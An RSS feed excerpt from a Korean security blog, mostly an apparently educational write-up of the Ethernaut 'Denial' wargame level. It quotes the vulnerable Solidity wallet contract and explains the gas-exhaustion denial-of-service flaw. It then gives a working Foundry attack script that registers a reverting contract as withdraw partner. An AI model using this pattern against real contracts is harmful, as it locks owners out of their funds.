&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;3. 결론&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접근 제어자를 잘 관리해야 한다.&lt;/p&gt;</description>
      <category>Web3/Hacking</category>
      <category>ethernaut</category>
      <category>solidity</category>
      <category>Wargame</category>
      <author>음대생</author>
      <guid isPermaLink="true">https://c0mpos3r.tistory.com/24</guid>
      <comments>https://c0mpos3r.tistory.com/24#entry24comment</comments>
      <pubDate>Sun, 24 Aug 2025 20:52:43 +0900</pubDate>
    </item>
    <item>
      <title>[Ethernaut] 20. Denial WriteUp</title>
      <link>https://c0mpos3r.tistory.com/23</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 문제 분석&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;This is a simple wallet that drips funds over time. You can withdraw the funds slowly by becoming a withdrawing partner.&lt;br /&gt;If you can deny the owner from withdrawing funds when they call&lt;span&gt;&amp;nbsp;&lt;/span&gt;withdraw()&lt;span&gt;&amp;nbsp;&lt;/span&gt;(whilst the contract still has funds, and the transaction is of 1M gas or less) you will win this level.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;이것은 시간이 지남에 따라 자금을 떨어 뜨리는 간단한 지갑입니다. 철수 파트너가되어 자금을 천천히 인출 할 수 있습니다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;Dencist ()에 전화 할 때 소유자가 자금 인출을 거부 할 수 있다면 (계약에 자금이 여전히 있고 거래는 1m 가스 이하인 경우)이 수준에서 이길 것입니다.&lt;/span&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;1-1. code&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1754973512935&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address =&amp;gt; uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}(&quot;&quot;);
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot; data-start=&quot;125&quot; data-end=&quot;277&quot;&gt;
&lt;li data-start=&quot;125&quot; data-end=&quot;199&quot;&gt;계약 잔액의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;1%&lt;/b&gt;를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;partner&lt;/b&gt;에게,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;1%&lt;/b&gt;를 고정 소유자&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;owner&lt;/b&gt;에게 보내는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;withdraw() 함수&lt;/b&gt;를 제공한다.&lt;/li&gt;
&lt;li data-start=&quot;200&quot; data-end=&quot;252&quot;&gt;누구나&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;setWithdrawPartner로 partner 주소를 바꿀&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;수 있다.&lt;/li&gt;
&lt;li data-start=&quot;253&quot; data-end=&quot;277&quot;&gt;&lt;b&gt;입금은 receive()&lt;/b&gt;로 받는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;1-2. Denial Contract 분석&lt;/span&gt;&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;상태 변수&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;552&quot; data-start=&quot;287&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;348&quot; data-start=&quot;287&quot;&gt;&lt;b&gt;address public partner&lt;/b&gt;: 출금 파트너 주소. 누구나 바꿀 수 있어서 &lt;b&gt;Attack Vector&lt;/b&gt;입니다.&lt;/li&gt;
&lt;li data-end=&quot;411&quot; data-start=&quot;349&quot;&gt;&lt;b&gt;address public constant owner = address(0xA9E)&lt;/b&gt;: 소유자 고정 주소.&lt;/li&gt;
&lt;li data-end=&quot;456&quot; data-start=&quot;412&quot;&gt;&lt;b&gt;uint256 timeLastWithdrawn&lt;/b&gt;: 마지막 출금 시각 기록.&lt;/li&gt;
&lt;li data-end=&quot;552&quot; data-start=&quot;457&quot;&gt;&lt;b&gt;mapping(address =&amp;gt; uint256) withdrawPartnerBalances&lt;/b&gt;: 파트너에게 보낸 누적 금액 기록용. 실제 인출에는 사용되지 않는다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-end=&quot;564&quot; data-start=&quot;554&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;핵심 함수 동작&lt;/b&gt;&lt;/h3&gt;
&lt;p data-end=&quot;590&quot; data-start=&quot;565&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;withdraw()&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1016&quot; data-start=&quot;591&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;663&quot; data-start=&quot;591&quot;&gt;&lt;b&gt;amountToSend = address(this).balance / 100;&lt;/b&gt; 현재 계약 잔액의 1%를 계산한다.&lt;/li&gt;
&lt;li data-end=&quot;782&quot; data-start=&quot;664&quot;&gt;&lt;b&gt;partner.call{value: amountToSend}(&quot;&quot;);&lt;/b&gt;&lt;br /&gt;로우레벨 &lt;b&gt;call로 파트너에게 이더를 보냅&lt;/b&gt;니다. 중요한 점은 &lt;b&gt;반환값을 확인하지 않고, 가스 한도를 제한&lt;/b&gt;하지 않는다.&lt;/li&gt;
&lt;li data-end=&quot;903&quot; data-start=&quot;783&quot;&gt;&lt;b&gt;payable(owner).transfer(amountToSend);&lt;/b&gt;&lt;br /&gt;이후 오너에게도 1%를 보냅니다. transfer는 수신자에게 2300가스만 전달하고, 실패 시 &lt;b&gt;즉시 revert&lt;/b&gt;한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;Attack Vectors&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Reentrancy (재진입 공격)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1481&quot; data-start=&quot;1326&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1375&quot; data-start=&quot;1326&quot;&gt;&lt;b&gt;외부호출(partner.call)&lt;/b&gt;이 효과&amp;middot;상태 갱신 전에 위치&lt;/li&gt;
&lt;li data-end=&quot;1481&quot; data-start=&quot;1378&quot;&gt;구조적으로 재진입 가능 경로가 열려 있어&lt;b&gt;(receive&amp;rarr;withdraw 재호출)&lt;/b&gt; 가스 소모를 증폭 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;DoS (Denial of Service)&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-end=&quot;1738&quot; data-start=&quot;1544&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1653&quot; data-start=&quot;1544&quot;&gt;&lt;b&gt;partner.call&lt;/b&gt;이 남은 가스를 대부분 위임 &amp;rarr; &lt;b&gt;owner.transfer(2300) + SSTORE&lt;/b&gt;가스 부족 &amp;rarr; 전체 OOG revert로 인출 봉쇄&lt;/li&gt;
&lt;li data-end=&quot;1738&quot; data-start=&quot;1656&quot;&gt;call의 반환값을 무시하므로 partner 측 revert도 무해하게 &amp;ldquo;성공처럼&amp;rdquo; 통과되지만, 가스 소모형 fallback으로는 치명적&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;2. Solving&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;1075&quot; data-start=&quot;1027&quot;&gt;본질은 &lt;b&gt;가스 고갈(Out-of-Gas)에 의한 서비스 거부(DoS) &lt;/b&gt;이다.&lt;/li&gt;
&lt;li data-end=&quot;1160&quot; data-start=&quot;1076&quot;&gt;공격자는 자신이 만든 계약을 &lt;b&gt;partner로 설정&lt;/b&gt;한 뒤, 그 계약의 &lt;b&gt;receive/fallback&lt;/b&gt;에서 고가스 연산을 수행하도록 하면 된다.&lt;/li&gt;
&lt;li data-end=&quot;1377&quot; data-start=&quot;1161&quot;&gt;&lt;b&gt;partner.call{value: &amp;hellip;}(&quot;&quot;)&lt;/b&gt;는 가스 제한이 없어서 상대가 가스를 다 태워버릴 수 있다. 이 호출은 실패해도 revert하지 않고 false를 반환하며 계속 진니다.&lt;/li&gt;
&lt;li data-end=&quot;1377&quot; data-start=&quot;1161&quot;&gt;하지만 이미 남은 가스가 거의 0에 가까워진 상태이므로, 그 다음 줄의 owner.transfer(...)를 실행하려 할 때 가스 부족으로 &lt;b&gt;전체 트랜잭션이 revert&lt;/b&gt;된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Process&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li data-end=&quot;2440&quot; data-start=&quot;2401&quot;&gt;파트너 등록 &amp;mdash; &lt;b&gt;setWithdrawPartner(Attack)&lt;/b&gt;&lt;/li&gt;
&lt;li data-end=&quot;2524&quot; data-start=&quot;2441&quot;&gt;가스 소모 &amp;mdash; &lt;b&gt;Attack.receive()&lt;/b&gt;에서 &lt;b&gt;while(true) / assert(false)&lt;/b&gt;로 가스 소모&lt;/li&gt;
&lt;li data-end=&quot;2606&quot; data-start=&quot;2525&quot;&gt;실행 &amp;mdash;&amp;nbsp; 항상 &lt;b&gt;OOG revert&lt;/b&gt;되어 출금 차단&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1755987864894&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from &quot;forge-std/Script.sol&quot;;
import { Denial } from &quot;../src/Denial.sol&quot;;

contract Attack {
    function attack(address payable _instance) public payable {
        Denial instance = Denial(_instance);
        instance.setWithdrawPartner(address(this));
    }

    receive() external payable {
        assert (false);
    }
}

contract CounterScript is Script {
    address public instAddr = 0x8d4867c5DB651205a7FB5E2f1ae3116bd8E974ed;

    function run() public {
        vm.startBroadcast();

        Attack atk = new Attack();
        atk.attack(payable(instAddr));

        vm.stopBroadcast();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rdHa0/btsP5hcpXpo/IrpSqqudYI0I3KV1kEdLW1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rdHa0/btsP5hcpXpo/IrpSqqudYI0I3KV1kEdLW1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rdHa0/btsP5hcpXpo/IrpSqqudYI0I3KV1kEdLW1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrdHa0%2FbtsP5hcpXpo%2FIrpSqqudYI0I3KV1kEdLW1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2560&quot; height=&quot;1440&quot; data-origin-width=&quot;2560&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;3. 결론&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #222222; text-align: left;&quot;&gt;&lt;/span&gt;외부 호출을 먼저 하고 Full Payments가 가능한 call 함수 사용시 가스 상한을 두지 않으면 가스 고갈 DoS로 기능이 멈춘다. 외부 상호작용은 뒤로 미루고 가스, 반환값을 제어해야한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Web3/Hacking</category>
      <category>Coin</category>
      <category>Denial of Service</category>
      <category>dos</category>
      <category>ethereum</category>
      <category>ethernaut</category>
      <category>Wargame</category>
      <category>writeup</category>
      <author>음대생</author>
      <guid isPermaLink="true">https://c0mpos3r.tistory.com/23</guid>
      <comments>https://c0mpos3r.tistory.com/23#entry23comment</comments>
      <pubDate>Sun, 24 Aug 2025 07:39:56 +0900</pubDate>
    </item>
  </channel>
</rss>